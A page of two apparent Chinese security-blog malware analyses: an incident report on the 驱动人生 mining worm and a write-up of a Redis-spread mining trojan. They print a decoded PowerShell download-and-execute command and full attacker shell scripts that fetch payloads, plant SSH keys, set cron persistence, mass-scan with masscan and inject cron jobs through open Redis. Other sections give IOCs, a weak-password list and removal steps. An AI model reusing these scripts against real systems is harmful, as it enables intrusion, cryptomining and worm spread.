The result of tag: (2 results)

中石化某炼化厂驱动人生挖矿病毒应急响应分析报告

by LauCyun May 04 02:30:49 6,717 views

一、前言

1.1 背景

2019年4月23日,应急响应中心接到中石化某炼化厂的求助电话,有200多台DCS上位机被病毒感染。

经研究分析发现,该病毒为驱动人生挖矿病毒的一种,它通过“永恒之蓝”漏洞、暴力破解SMB服务等途径进行横向传播,随后释放挖矿木马进行挖矿操作。

2018年12月14日,该黑产团伙自从“驱动人生”系列软件升级供应链,得手之后,一直很活跃,期间不断更新调整木马攻击方式,蠕虫式传播的特点不断增强。

下表是该团伙主要活动情况的时间线:

表1 驱动人生黑产团伙活动时间线

序号 时间 木马行为变化
1 2018年12月14日 利用“驱动人生”系列软件升级通道下发,利用“永恒之蓝”漏洞攻击传播。
2 2018年12月19日 下发之后的木马新增PowerShell后门安装。
3 2019年1月9日 检测到挖矿组件xmrig-32.mlz/xmrig-64.mlz下载。
4 2019年1月24日 木马将挖矿组件、升级后门组件分别安装为计划任务,并同时安装PowerShell后门。
5 2019年1月25日 木马在1月24日的基础上再次更新,将攻击组件安装为计划任务,在攻击时新增利用mimikatz搜集登录密码,SMB弱口令爆破攻击,同时安装PowerShell计划任务和mshta计划任务。
6 2019年2月10日 将攻击模块打包方式改为Pyinstaller。
7 2019年2月20日 更新矿机组件,下载释放XMRig矿机,以独立进程启动挖矿。
8 2019年2月23日 攻击方法再次更新,新增MS SQL爆破攻击。
9 2019年2月25日 在2月23日基础上继续更新,更新MS SQL爆破攻击时密码字典,添加样本文件签名。至此攻击方法集成永恒之蓝漏洞攻击、SMB爆破攻击、MsSQL爆破攻击,同时使用黑客工具mimiktaz、psexec进行辅助攻击。
10 2019年3月28日 在2月25日基础上继续更新,更新创建flashplayer.tmp快捷方式并开机自启动增加感染几率。除CPU挖矿外,还将下载显卡挖矿相关的驱动,使用显卡进行挖矿。

由此可见,中石化某炼化厂的病毒比较符合2019年2月10日版本。

1.2 术语表

定义本报告中涉及的重要术语,为读者在阅读报告时提供必要的参考信息。

表2 术语表

序号 术语或缩略语 说明性定义
1 mimikatz mimikatz是由C语言编写的开源小工具,它的功能非常强大,支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证,以及pass-the-hash、pass-the-ticket、build Golden tickets等数种黑客技术。
2 PowerShell Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。
3 PSEXEC psexec是一个远程执行工具,你可以像使用telnet一样使用它。
4 Pyinstaller PyInstaller是一个将Python程序及其所有依赖项捆绑到一个包中,用户无需安装Python解释器或任何模块即可运行打包的应用程序。
5 Python Python是一种计算机程序设计语言。是一种面向对象的动态类型语言,最初被设计用于编写自动化脚本(shell),随着版本的不断更新和语言新功能的添加,越来越多被用于独立的、大型项目的开发。
6 驱动人生 驱动人生是一款免费的驱动管理软件,实现智能检测硬件并自动查找安装驱动,为用户提供最新驱动更新,本机驱动备份、还原和卸载等功能。
7 永恒之蓝 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。

二、病毒特征

2.1 病毒文件

当前版本病毒感染过程中,所产生的病毒文件如下表所示:

表3 病毒相关文件

序号 文件位置及名称 功能与作用
1 C:\Windows\system32\svhost.exe 主程序。
2 C:\Windows\SysWOW64\svhost.exe
3 C:\Windows\system32\drivers\svchost.exe
4 C:\Windows\SysWOW64\drivers\svchost.exe
5 C:\Windows\temp\svvhost.exe 横向传播程序。
6 C:\Windows\temp\svchost.exe
7 C:\Windows\system32\wmiex.exe 后门程序。
8 C:\Windows\SysWOW64\wmiex.exe
9 C:\Windows\system32\drivers\taskmgr.exe 任务管理器伪装程序。
10 C:\Windows\SysWOW64\drivers\taskmgr.exe
11 C:\Windows\temp\m.ps1 mimikatz程序。
12 C:\Windows\temp\mkatz.ini mimikatz结果。
13 C:\Windows\temp\p.bat “永恒之蓝”漏洞横向传播产生的脚本文件。
14 C:\installed.exe “永恒之蓝”漏洞横向传播的主程序。
15 $env:temp\update.exe 主程序的更新文件。

2.2 系统服务

当前版本病毒共安装两个服务,分别是Ddriver、WebServers。

2.2.1 Ddriver

服务Ddriver主要是用于启动主程序,该程序负责启动攻击模块以及接受云控指令,其服务信息如下:

  • 服务名:Ddriver
  • 可执行文件路径:
    • 32位:C:\Windows\system32\drivers\svchost.exe
    • 64位:C:\Windows\SysWOW64\drivers\svchost.exe


图1 服务Ddriver(注:本图为后期复现所截)

2.2.2 WebServers

服务WebServers主要是用于启动后门程序wmiex.exe,该程序负责下载其他文件、上报信息、管理服务进程,其服务信息如下:

  • 服务名:WebServers
  • 可执行文件路径:
    • 32位:C:\Windows\system32\wmiex.exe
    • 64位:C:\Windows\SysWOW64\wmiex.exe


图2 服务WebServers(注:本图为后期复现所截)

2.3 计划任务

当前版本病毒共安装四个计划任务,如下图所示:

图3 计划任务

2.3.1 Ddrivers

计划任务Ddrivers是负责启动主模块,指向服务Ddriver相同文件,其特征如下:

  • 计划任务名:Ddrivers
  • 启动路径:cmd.exe /c C:\Windows\system32\drivers\svchost.exe
  • 触发器:在首次触发后,无限期地每隔00:50:00重复一次

2.3.2 DnsScan

计划任务DnsScan是负责启动攻击模块,该模块利用永恒之蓝漏洞、SMB弱口令爆破、PSEXEC、MimiKatz等多种方式进行攻击,其特征如下:

  • 计划任务名:DnsScan
  • 启动程序:C:\Windows\Temp\svchost.exe
  • 触发器:在首次触发后,无限期地每隔1小时重复一次

2.3.3 WebServers

计划任务WebServers是负责启动后门程序wmiex.exe,指向服务WebServers相同程序,其特征如下:

  • 计划任务名:WebServers
  • 启动程序:cmd.exe /c C:\Windows\system32\wmiex.exe
  • 触发器:在首次触发后,无限期地每隔00:50:00重复一次

2.3.4 Bluetooths

计划任务\Microsoft\windows\Bluetooths是负责下载执行远程Powershell指令,其特征如下:

  • 计划任务名:Bluetooths
  • 启动程序:powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjA
    HQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0A
    HIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnA
    CsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=
  • 触发器:在首次触发后,无限期地每隔00:50:00重复一次

解密后的命令为:powershell -ep bypass –e IEX (New-Object Net.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN))

三、手工清除方法

3.1 计划任务或服务

需删除计划任务,结束病毒进程并删除服务,具体如下:

  • 删除名为Ddrivers和WebServers的计划任务;
  • 删除名为DnsScan的计划任务;
  • 删除名为\Microsoft\Windows\Bluetooths的计划任务;
  • 结束名为wmiex.exe进程以及描述为“svchost”的svchost进程。通常正常的svchost进程描述为“Windows服务主进程”;
  • 删除名为Ddriver和WebServers的服务项。

3.2 病毒文件

需删除下载或释放的病毒文件,路径如下:

  • C:\Windows\system32\svhost.exe或C:\Windows\SysWOW64\svhost.exe
  • C:\Windows\system32\drivers\svchost.exe或C:\Windows\SysWOW64\drivers\svchost.exe
  • C:\Windows\temp\svvhost.exe或C:\Windows\temp\svchost.exe
  • C:\Windows\system32\wmiex.exe或C:\Windows\SysWOW64\wmiex.exe
  • C:\Windows\system32\drivers\taskmgr.exe或C:\Windows\SysWOW64\drivers\taskmgr.exe
  • C:\Windows\temp\m.ps1
  • C:\Windows\temp\mkatz.ini
  • C:\Windows\temp\p.bat
  • C:\installed.exe
  • $env:temp\update.exe

3.3 注册表

需删除病毒创建的注册表项:

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ddriver
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WebServers

3.4 防火墙或端口转发

需删除病毒设置的防火墙栏目有:

  • 删除入站规则名为UDP,开放65532端口的规则;
  • 删除入站规则名为UDP2,开放65531端口的规则;
  • 删除入站规则名为ShareService,开放65533端口的规则;

需删除病毒设置的端口转发的设置,CMD管理员执行如下命令:

  • netsh interface portproxy delete v4tov4 listenport=65531
  • netsh interface portproxy delete v4tov4 listenport=65532

四、病毒分析

4.1 主程序

在C:\Windows\system32\drivers目录中发现主程序svchost.exe,将其拖进IDA进行反编译。

4.1.1 释放并配置

主程序启动后首先尝试启动名为Ddriver的服务进程,如果主机已经被感染则直接执行服务函数进行挖矿等恶意行为,如果主机是初次被感染则执行感染配置行为。


图4 主函数入口

然后,检查自身名称是否为svhost或者svchost.exe,如果程序名称不为svhost或者svchost.exe则从资源节中解密释放PE文件,最终在磁盘中释放路径为C:\Windows\temp\ttt.exe,释放完成后便执行该文件。


图5 释放主程序中102号资源文件


图6 加密状态的102号资源文件

释放执行ttt.exe文件后便多次使用cmd命令清理系统原来感染的老版本的挖矿程序,为新版挖矿程序的安装和运行清理环境。


图7 结束或删除老版的挖矿程序

设置Windows防火墙开启65531,65532,65533端口,在防火墙规则中分别命名为UDP2,UDP,ShareService,同时开启端口转发,将来自65532端口的流量转发到1.1.1.1地址的53端口,将来自65531端口的流量转发到1.1.1.1地址的53端口。


图8 Windows防火墙中的增项


图9 端口代理

拷贝主程序到C:\Windows\system32\svhost.exe并设置隐藏属性,同时拷贝一份到C:\Windows\system32\drivers\svchost.exe,之后设置计划任务同时设置注册表项,实现程序的开机启动和定期触发执行。


图10 拷贝主程序文件到系统关键目录下


图11 设置计划任务和注册表项

完成上述配置后尝试使用CreateServiceA函数将C:\Windows\system32\drivers\svchost.exe注册为服务,如果服务存在则修改服务配置,如果CreateServiceA函数调用失败则使用CMD方式调用sc create创建服务,最终尝试使用net startStartServiceA函数的方式启动服务函数。


图12 创建Ddriver服务

4.1.2 挖矿

服务主函数中首先根据系统位数拼接后续将要使用到的字符串资源,包括从而已域名临时下载的文件以及解密之后的文件,和后续用来伪装成任务管理器共享进程进行挖矿操作taskmgr.exe。


图13 拼接后续需要使用的字符串

创建名为“it is holy shit”的互斥体防止进程重复启动运行,根据系统位数解密释放对应的资源文件,64位系统解密释放100号资源,32位系统解密释放101号资源,释放路径为C:\Windows\system32\drivers\taskmgr.exe(64位系统:C:\Windows\SysWOW64\drivers\taskmgr.exe)。


图14 释放taskmgr.exe文件

之后创建4个线程分别进行相关的恶意操作:

  • 根据主机中的进程和主机系统相关参数调整挖矿程序的运行状态,当用户打开任务管理器浏览时会自动关闭伪装程序taskmgr.exe,使其不被用户发现;
  • 每隔10s尝试启动C:\Windows\temp\svchost.exe(永恒之蓝漏洞攻击文件),实现内网的横向感染传播;
  • 使用Wmic命令,每10秒对进程进行一次检查,触发时将结束挖矿进程;
  • 打开监听65533端口。


图15 根据主机进程决定是否暂时关闭伪装进程


图16使用WMIC检查进程并决定是否关闭挖矿程序

释放的C:\Windows\temp\ttt.exe文件执行之后将会移动到C:\Windows\System32\wmiex.exe并设置了隐藏属性,并将其写入计划任务,任务名为WebServers,并创建服务WebServers设置为开机自启动。


图17 释放的ttt.exe文件被移动到指定路径

4.2 横向传播程序

在C:\Windows\Temp目录中发现svchost.exe文件,如下图所示:

图18 横向传播程序

右键查看其属性,如下图所示:


图19 横向传播程序文件属性

4.2.1 反编译

将svchost.exe拖进IDA进行反编译,如下图所示:


图20 横向传播程序入口函数

通过阅读汇编代码并无大发现。

接着,选择view -> open subview -> string提取文件中的字符串内容,如下图所示:


图21 字符串资源

从上图发现MSVCR90.dll、KERNEL32.dll、PYTHON27.DLL等DLL文件名字样,由此可知,该病毒是由Python编写,然后通过Pyinstaller将其打包成exe文件。

4.2.2 解包

使用工具python-exe-unpacker(下载地址:https://git.laucyun.com/security/python-exe-unpacker)对svchost.exe进行解包,如下图所示:


图22 将exe文件解包成python

解包后,共有两个文件,分别是:ii.py.py、ii.py.pyc,ii.py.py是源代码文件,ii.py.pyc是源代码编译后文件。

Python程序ii.py.py的程序结构如下图所示:


图23 横向传播程序的结构

4.2.3 传播过程

通过阅读与分析Python程序ii.py.py,其横向传播过程如下图所示:

图24 横向传播过程

从上图可知,首先svchost.exe会绑定本机60124端口,它的作用可能是互斥体,系统中只允许运行一个svchost.exe。

然后,svchost.exe将会检测是否存在k8h3d这个用户,如果存在,则删除。


图25 删除k8h3d用户

然后,svchost.exe将会检测本机是否已感染,如果本机已经被感染,则读取本地病毒文件。


图26 检测本机是否感染

然后,svchost.exe将会创建计划任务,如果本机存在powershell,则创建DnsScan、\Microsoft\windows\Bluetooths两个任务;反之,则创建Autocheck、Autoscan两个任务。

需要说明的是,计划任务Autocheck的作用是每隔50分钟就从http://w.beahh.com/page.html?p%COMPUTERNAME%下载病毒程序;计划任务Autoscan的作用是每隔50分钟就执行C:\Windows\temp\svchost.exe程序。

图27 利用mimikatz提取内存中的密码和凭证

然后,svchost.exe将会释放出C:\Windows\temp\m.ps1脚本文件,它是一个powershell版本的mimikatz程序,通过分析发现它和https://github.com/DanMcInerney/Invoke-Cats/blob/master/Invoke-Cats.ps1的代码一致。

然后,svchost.exe将会运作C:\Windows\temp\m.ps1,它的作用主要是从系统内存中提取明文密码、哈希、PIN码和Kerberos等凭证。最后将结果保存至C:\Windows\temp\mkatz.ini,如下图所示:


图28 提取出的密码信息

然后,svchost.exe将会通过wmic ntdomain get domainname命令,检测本机是否加域。如果加域的话,将域的用户名和密码加入到破解口令列表中。

然后,svchost.exe将会调用find_ip函数,通过ipconfig /allnetstat -na两个命令获取当前主机的ip、网段等信息。

图29 获取IP或IP段

接下来将开始横向传播,其横向传播的方式为SMB爆破、“永恒之蓝”利用两种。


图30 爆破SMB服务

第一种横向传播方式是先调用scansmb这个函数,这个函数调用scan2函数去检测目标主机是否开放445、65533端口。

如果目标主机打开了65533端口,则说明已被感染。反之,将会调用validate函数进行横向传播。


图31 通过SMB服务横向传播

validate函数主要作用是通过弱口令列表,对目标主机进行SMB服务爆破。如果爆破成功,将本横向传播程序复制到被攻击的主机中并运行。

除此之外,svchost.exe将会通过“永恒之蓝”漏洞进行传播。

图32 “永恒之蓝”漏洞横向传播

第二种横向传播方式是先调用check_thread函数,然后这个函数调用check_ip函数利用“永恒之蓝”漏洞传播,其代码跟https://github.com/jflyup/goMS17-010/blob/master/ms17-010.py一致。

图33 利用“永恒之蓝”漏洞横向传播文件

在“永恒之蓝”漏洞利用成功后,将会调用smb_pwn函数,其作用是将本机的主程序和横向传播程序都复制到目标主机中,并执行以下命令,其作用是云行C:\installed.exe和写入C:\Windows\temp\p.bat并执行。

图34 利用“永恒之蓝”漏洞执行命令

脚本C:\Windows\temp\p.bat的主要作用有:

  • 命令netsh interface ipv6 install是安装ipv6;
  • 命令netsh firewall add portopening tcp 65532 DNS2是修改防火墙并打开65532端口;
  • 命令netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53是将本地65532端口转发至1.1.1.1的53端口中;
  • 同理,它将开启65531端口,并将来自65531端口的流量转发到1.1.1.1地址的53端口;
  • 随后将创建\Microsoft\windows\Bluetooths、Autocheck两个计划任务;
  • 随后将启动Ddriver服务;
  • 随后将获取当前cmd.exe进程数,如果大于10则重启;
  • 最后,删除k8h3d用户和C:\Windows\temp\p.bat文件。

到此为止,病毒的横向传播就结束了。

4.3 升级程序

计划任务\Microsoft\windows\Bluetooths每隔50分钟就会从http://v.beahh.com/v'+$env:USERDOMAIN下载PowerShell脚本并执行。

通过分析脚本代码,发现它是经过多层混淆,解密后的内容如下图所示:

图35 升级程序脚本

它的主要作用是:

  • 获取本机Mac地址、已安装的杀毒软件、服务zhudongfangyu运行状态等信息;
  • 判断服务Ddriver的运行状态,如果未运行,则下载病毒主程序至$env:temp\update.exe并运行;
  • 感染后,收集主机信息并发送到远程服务器,收集的信息包括主机ID,GUID,MAC地址,用户名,系统版本,系统位数,CPU型号,安装的反病毒软件等等,最终在下载下一步指令的同时将上述信息传输到远程服务器。

五、应对措施及建议

1. 卸载老版本的驱动人生程序或者更新至最新版防止攻击者下发新的恶意代码;

2. 主机使用高强度密码,切勿使用弱口令,防止黑客暴力破解;

表4 “永恒之蓝”漏洞补丁

序号 Windows系统版本 补丁编号
1 Windows 2000 SP4 无 
2 Windows XP SP3 KB4012598 
3 Windows Server 2003 SP2 KB4012598 
4 Windows Vista SP2  KB4012598 
5 Windows 7 SP1 KB4012212、KB4012215 
6 Windows Server 2008 SP2 KB4011981 
7 Windows Server 2008 R2 SP1 KB4012212、KB4012215 
8 Windows 8.1 KB4012213、KB4012216 
9 Windows Server 2012 KB4012214、KB4012217 
10 Windows Server R2 2012 KB4012213、KB4012216 
11 Windows 10 KB4012606、KB4013198、 KB4013429 
12 Windows Server 2016 KB4013429 

3. 内网使用共享的主机打上“永恒之蓝”漏洞补丁(系统版本与补丁编号对应关系如表4),防止利用此漏洞的横向攻击;

4. 内网使用共享的主机还需要打上KB2871997漏洞补丁,防止利用此漏洞的横向攻击;

5. 安装好防病毒软件并及时更新病毒库以抵抗最新恶意代码的攻击。

六、威胁指标(IOCs)

6.1 MD5

59b18d6146a2aa066f661599c496090d
30429a24f312153c0ec271ca3feabf3d
f9144118127ff29d4a49a30b242ceb55
fb89d40e24f5ff55228c38b2b07b2e77
1e0db9fdbc57525a2a5f5b4c69fac3bb
5ab6f8ca1f22d88b8ef9a4e39fca0c03

6.2 域名

v.beahh.com
w.beahh.com

6.3 IP

172.104.73.9
139.163.55.76

6.4 URL

http://v.beahh.com/v
http://w.beahh.com/page.html?p
http://172.104.73.9/dll.exe?3
http://172.104.73.9/old.json?3
http://172.104.73.9/new.json?3

6.5 弱口令

000000
111111
111111111
112233
123
123123
123123123
123321
1234
12345
123456
12345678
12345678
123456789
1234567890
123456789a
123456a
123qwe
1q2w3e4r
1qaz2wsx
5201314
654321
666666
888888
88888888
a123456
a123456789
aa123456
abc123
baseball
charlie
dragon
football
iloveyou
monkey
password
password
princess
qwe123
qwerty
sunshine
welcome
!@#$%^&*

七、参考资料

...

Tags Read More


木马分析:利用Redis未授权访问漏洞为传播介质的挖矿木马

by LauCyun Mar 19,2018 21:30:58 22,956 views

上周一,一大早收到阿里云的通知邮件说:我的云服务器存在恶意发包行为(如图1所示)。第一想法就是:“我擦,服务器被黑了!”。


图1 阿里云通知邮件(详细

分析之前,先介绍一下服务器环境:

  • 系统:
    • CentOS 6.5
  • 服务:
    • Redis 2.8.19(端口:6379)
    • SSH(端口:22)

0x01 取证

top命令查看当前系统的运行状态,发现有个叫做gpg-agentd的进程占用99%的CPU资源,如图2所示:


图2 系统运行状态

进一步寻找,发现它跟gpg-agent很相似,如图3所示:


图3 gpg-agentd

Google了一下gpg-agent,如下:

gpg-agent is a daemon to manage secret (private) keys independently from any protocol. It is used as a backend for gpg and gpgsm as well as for a couple of other utilities.

—— Using the GNU Privacy Guard: Invoking GPG-AGENT

gpg-agent的介绍知道,gpg-agent是一个守护程序,根据经验得知:gpg-agentd肯定不是一个正常的程序,虽然伪造的很好,但也逃不过我的那双犀利的眼睛。

接着就是排查,IO情况、网络流量、内存情况、系统日志、crontab等。边找边想,如果你是黑客要做坏事的话,会在哪里做文章,自动启动?定时启动?

先运行crontab -e命令,发现crontab有如下的任务:


图4 crontab任务

果然,线索找到了~

0x02 分析

1、分析脚本ash.php

图4的计划任务的意思是:每15分钟就下载脚本http://img.namunil.com/ash.php,并且执行它。先把它下载下来:

wget -q -O- http://img.namunil.com/ash.php

ash.php内容如下:

PATH=/usr/lib/sysstat:/usr/sbin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/sbin:/usr/local/bin
HISTSIZE=1
uname -a
id
hostname
setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
crontab -r 2>/dev/null
rm -rf /var/spool/cron/* 2>/dev/null
mkdir -p /var/spool/cron/crontabs 2>/dev/null
mkdir -p /root/.ssh 2>/dev/null
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX' > /root/.ssh/authorized_keys
echo '*/15 * * * * wget -q -O- http://img.namunil.com/ash.php | sh' > /var/spool/cron/root
echo '*/20 * * * * wget -q -O- http://img.namunil.com/ash.php | sh' > /var/spool/cron/crontabs/root
echo 'wget -q -O- http://img.namunil.com/ash.php | sh' > /etc/rc.local
echo 'exit 0' >> /etc/rc.local

yum install -y bash curl 2>/dev/null
apt install -y bash curl 2>/dev/null
apt-get install -y bash curl 2>/dev/null

bash -c 'wget -q -O- http://img.namunil.com/bsh.php | bash' 2>/dev/null

其脚本的作用如下:

  • 首先,改变HISTSIZE的值 , 使其不能保存命令历史;
  • 然后,执行setenforce 0命令关闭SELinux,杰出shell资源访问限制;
  • 然后,在把SSH公钥添加到/root/.ssh/authorized_keys中,以便下次即可免密登录;
  • 然后,安装bash和curl;
  • 最后,就是下载第二个脚本http://img.namunil.com/bsh.php,并执行。

2、分析脚本bsh.php

继续下载并分析第二个脚本bsh.php,内容如下:

cd /tmp || cd /var/tmp
sleep 1
mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/...
sleep 1
if [ -f .watch ]; then
rm -rf .watch
exit 0
fi	
echo 1 > .watch
sleep 1
ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/null
ps x | awk '!/awk/ && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/null
sleep 1
if ! [ -x /usr/bin/gpg-agentd ]; then
wget -q -O /usr/bin/gpg-agentd http://img.namunil.com/dump.db
echo '/usr/bin/gpg-agentd' > /etc/rc.local
echo 'wget -q -O- http://img.namunil.com/ash.php | sh' >> /etc/rc.local
echo 'exit 0' >> /etc/rc.local
fi
sleep 1
chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentd
sleep 1
if ! [ -x "$(command -v masscan)" ]; then
rm -rf /var/lib/apt/lists/*
rm -rf x1.tar.gz
if [ -x "$(command -v apt-get)" ]; then
export DEBIAN_FRONTEND=noninteractive
apt-get update -y
apt-get install -y debconf-doc
apt-get install -y build-essential
apt-get install -y libpcap0.8-dev libpcap0.8
apt-get install -y libpcap*
apt-get install -y make gcc git
apt-get install -y redis-server
apt-get install -y redis-tools
apt-get install -y redis
apt-get install -y iptables
fi
if [ -x "$(command -v yum)" ]; then
yum update -y
yum install -y epel-release
yum update -y
yum install -y git iptables make gcc redis libpcap libpcap-devel
yum install -y wget curl
fi
sleep 1
wget -q -O x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz
sleep 1
[ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4
fi
sleep 1 && rm -rf .watch
bash -c 'wget -q -O- http://img.namunil.com/rsh.php | bash' 2>/dev/null

这个脚本很长,但是其作用如下:

  • 首先,下载http://img.namunil.com/dump.db重名为gpg-agentd,并添加执行权限后运行;
  • 然后,修改开机启动rc.local,让/usr/bin/gpg-agentd开机启动和自动下载并执行脚本ash.php
  • 然后,安装一些列的软件,如make、gcc、git、libpcap等;
  • 然后,就是下载masscan,并解压、编译;
  • 最后,继续下载脚本http://img.namunil.com/rsh.php

那么masscan是个何物?官方介绍如下:

This is the fastest Internet port scanner. It can scan the entire Internet in under 6 minutes, transmitting 10 million packets per second.

It produces results similar to nmap, the most famous port scanner. Internally, it operates more like scanrand, unicornscan, and ZMap, using asynchronous transmission. The major difference is that it's faster than these other scanners. In addition, it's more flexible, allowing arbitrary address ranges and port ranges.

NOTE: masscan uses a custom TCP/IP stack. Anything other than simple port scans will cause conflict with the local TCP/IP stack. This means you need to either use the -S option to use a separate IP address, or configure your operating system to firewall the ports that masscan uses.

—— MASSCAN: Mass IP port scanner

看完介绍后,也就不难理解为什么阿里云说服务器存在恶意发包行为。

3、分析脚本rsh.php

继续下载和分析脚本rsh.php,内容如下:

setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
sleep 1
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
sleep 1
rm -rf .dat .shard .ranges .lan 2>/dev/null
sleep 1
echo 'config set dbfilename "backup.db"' > .dat
echo 'save' >> .dat
echo 'flushall' >> .dat
echo 'set qwERZJSG "\n*/1 * * * * curl -fsSL http://img.namunil.com/ash.php | sh\n\n"' >> .dat
echo 'set ftEKeh "\n*/2 * * * * wget -q -O- http://img.namunil.com/ash.php | sh\n\n"' >> .dat
echo 'set ugwRFlSI "\n*/3 * * * * curl -fsSL http://img.namunil.com/ash.php | sh\n\n"' >> .dat
echo 'set ClOqrUQh "\n*/4 * * * * wget -q -O- http://img.namunil.com/ash.php | sh\n\n"' >> .dat
echo 'config set dir "/var/spool/cron/"' >> .dat
echo 'config set dbfilename "root"' >> .dat
echo 'save' >> .dat
echo 'config set dir "/var/spool/cron/crontabs"' >> .dat
echo 'save' >> .dat
sleep 1
masscan --max-rate 15000 -p6379,6380 --shard 9130/22000 --exclude 224.0.0.0-255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .shard
sleep 1
masscan --max-rate 15000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 14.18.0.0/16 14.238.0.0/16 14.138.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .ranges
sleep 1
ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's/\/\([0-9]\{2\}\)/\/16/g' > .inet
sleep 1
masscan --max-rate 15000 -p6379,6380 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lan
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .lan
sleep 60
rm -rf .dat .shard .ranges .lan 2>/dev/null

如果说前两个脚本只是在服务器上下载执行了二进制文件,那这个脚本才真正显示病毒的威力。下面就来分析这个脚本:

  • 首先,修改系统环境之类就没啥好分析的,前面已经分析;
  • 接着,就是对redis进行配置,这个配置的内容如下:
    config set dbfilename "backup.db"
    save
    flushall
    set qwERZJSG "\n*/1 * * * * curl -fsSL http://img.namunil.com/ash.php | sh\n\n"
    set ftEKeh "\n*/2 * * * * wget -q -O- http://img.namunil.com/ash.php | sh\n\n"
    set ugwRFlSI "\n*/3 * * * * curl -fsSL http://img.namunil.com/ash.php | sh\n\n"
    set ClOqrUQh "\n*/4 * * * * wget -q -O- http://img.namunil.com/ash.php | sh\n\n"
    config set dir "/var/spool/cron/"
    config set dbfilename "root"
    save
    config set dir "/var/spool/cron/crontabs"
    save
    其主要的作用:利用 Redis 未授权访问漏洞把redis缓存内容写入/var/spool/cron/root/var/spool/cron/crontabs/root中,至于写入的内容就是上面分析的下载并执行ash.php
  • 最后,利用masscan进行全网扫描redis服务器,寻找肉鸡,如果你的redis的监听端口是公网IP或0.0.0.0,并且没有密码保护,那就写入上面的redis配置文件。

由于我的服务器是用于测试,所以没有做什么安全防护。真因为这,才导致服务器被黑。

4、分析gpg-agentd

gpg-agentd是用来干嘛?

第一个反应就是矿机,因为现在数字货币太火了,加大了分布式矿机的需求,也就催生了这条灰色产业链。

用ida分析gpg-agentd文件,搜索bitcoin、eth、mine等相关单词,最终发现了如图5所示:


图5 分析gpg-agentd

打开nicehash.com,瞬间就了然,如图6所示:


图6 nicehash

Google了一下svshost 1.0,结果没找到有用的信息。通过找类似的案例,发现一样本crondb,通过分析发现如图7所示:


图7 crondb样本

所以,crondbgpg-agentd用的是同一个挖矿程序,其源码:https://github.com/xmrig/xmrig

0x03 建议

通过上面的分析,该木马的行为是:先是将ssh公钥写入到/root/.ssh/authorized_keys中,拿到免密登录权限;然后下载执行远程二进制脚本和程序;最后通过redis漏洞,以指数级的速度在全网传播。

为了避免同类事件的发生,提出以下几个建议:

1、Redis方面

网络层加固

  • 指定 Redis 服务使用的网卡

    默认情况下,Redis 监听127.0.0.1。如果仅仅是本地通信,请确保监听在本地。

    这种方式可以在一定程度上缓解 Redis 未授权访问的风险(例外情况下,如果 Redis 以 root 用户运行,攻击者借助已有的 webshell,就可以利用该 Redis 来反弹 shell 以实现提权)。

    redis.conf文件中找到# bind 127.0.0.1,将前面的#去掉,然后保存。

    注意:

    • 该操作需要重启 Redis 才能生效。
    • 修改后只有本机才能访问 Redis,也可以指定访问源 IP 来访问 Redis。
      bind 192.168.1.100 10.0.0.1
  • 设置防火墙策略

    如果正常业务中 Redis 服务需要被其他服务器来访问,可以通过 iptables 策略,仅允许指定的 IP 来访问 Redis 服务。

